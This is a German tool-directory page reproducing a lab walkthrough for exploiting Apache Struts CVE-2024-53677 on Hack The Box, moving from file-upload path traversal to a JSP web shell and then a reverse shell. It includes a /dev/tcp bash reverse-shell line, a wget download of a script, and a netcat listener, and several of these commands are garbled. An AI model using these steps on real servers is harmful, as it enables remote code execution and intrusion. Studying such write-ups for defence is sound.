Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-53677-Exploitation — Apache Struts CVE-2024-53677-Ausnutzung | Kitploit
Tools/GitHubGitHub/hopsypopsy8/cve-2024-53677-exploitation
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & BildungPayload-EntwicklungLabs & Praxis

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHubhopsypopsy8/cve-2024-53677-exploitation

CVE-2024-53677-Exploitation

Apache Struts CVE-2024-53677-Ausnutzung

Repository anzeigen
vor 1 JahrNoch nicht geprüft

CVE-2024-53677 Ausnutzung

Apache Struts RCE via Dateiupload

Beschreibung

CVE-2024-53677 ist eine Sicherheitslücke, die Apache Struts von Version 2.0.0 bis vor 6.4.0 betrifft. ⚠️ Diese wurde in einer Hack The Box Lab-Umgebung ausgenutzt.

Die Dateiupload-Logik in Apache Struts ist fehlerhaft. Ein Angreifer kann die Dateiupload-Parameter manipulieren, um einen Pfad-Traversal zu ermöglichen, und unter bestimmten Umständen kann dies zum Hochladen einer schädlichen Datei führen, die zur Ausführung von Remote Code verwendet werden kann.
🔗 Referenz: NIST NVD Entry

Aufklärung

Identifizierung eines Angriffsvektors

Bild
  1. Die Website verfügt über eine Bild-Upload-Funktion.
  2. Hochgeladene Dateien werden gespeichert unter: ip/uploads/20250213_014317/starwars.png
  3. Bei erfolgreichem Upload hat der teilbare Link des Bildes die URL ip/s/04ab2f40
  4. Ermittlung der Apache Struts Version
  • Eine offengelegte pom.xml zeigte Apache Struts 6.3.0.1
  • Bestätigt anfällig für CVE-2024-53677

📸 pom.xml-Offenlegung:
Bild

Ausnutzung

Modifizieren der Dateiupload-Anfrage

Um diese Schwachstelle auszunutzen, verwenden wir BurpSuite und dessen Repeater-Funktionalität, um die Pakete vor dem Senden zu modifizieren. Nachfolgend sehen Sie eine unbearbeitete Anfrage.

Bild

Unser Problem ist, dass die Website Dateitypen blockt, die nicht [JPG, JPEG, PNG, GIF] sind, und alles im /uploads-Verzeichnis ist Nicht ausführbar. Um diese Probleme zu umgehen, fügen wir zunächst einen weiteren Parameter hinzu.

Test

Der hinzugefügte Parameter nutzt OGNL (Object-Graph Navigation Language) aus, die Apache Struts zur Verarbeitung von Eingabedaten verwendet. Der FileUploadInterceptor verarbeitet diesen Parameter, bevor das eigentliche PNG-Bild verarbeitet wird, was Angreifern ermöglicht, die Anfrage zu manipulieren und potenziell beliebigen Code auszuführen.

Abschluss des Exploits

Nach dem Hinzufügen des modifizierten Parameters bestätigt die Serverantwort, dass die Datei erfolgreich hochgeladen wurde. Allerdings stellen wir fest, dass sich der Dateipfad vom üblichen Upload-Verzeichnis unterscheidet.

BitteHelfen

Anhängen der Payload

Als Nächstes betten wir die Payload ein, indem wir sie direkt unter den Bilddaten und vor unseren injizierten Parametern anhängen. Die Shell-Payload kann bezogen werden unter 🔗 Referenz: shell.jsp Zusätzlich ist ein entscheidendes Detail, dass die Anfrage "Upload" mit einem großen U anstelle von kleinem upload erfordert. Dies folgt der Exploit-Struktur, die beobachtet wurde in: 🔗 Referenz: exploit.py

Mit diesen Modifikationen senden wir die Anfrage. Der Server antwortet ähnlich, bestätigt einen erfolgreichen Upload und spiegelt den angepassten Dateipfad wider.

Navigieren des Exploits

Durch Navigieren zur folgenden URL können wir mit unserer hochgeladenen Shell interagieren.

root@kitploit:~
 ip/shelll.jsp?action=cmd&cmd=id 
Endgültige Shell

An diesem Punkt können wir eine Reverse-Shell über einen lokal gehosteten Webserver einrichten. Ein einfacher Weg dies zu erreichen, ist mit Python: python3 http.server -m 3004

Als Nächstes erstellen Sie ein einfaches Shell-Skript (z.B. shell.sh) cat bash -i >& /dev/tcp/$IP/$PORT 0>&1 > shell.sh

Verwenden Sie wget, um es herunterzuladen wget http://ip_address/filename -O /tmp

Nach dem Herunterladen geben Sie Ausführungsberechtigungen chmod +777 /tmp/filename

und verwenden Sie dann nc (netcat), um auf die Reverse-Shell zu lauschen. nc -lvnp $PORT

Führen Sie schließlich ./filename

Tool herunterladen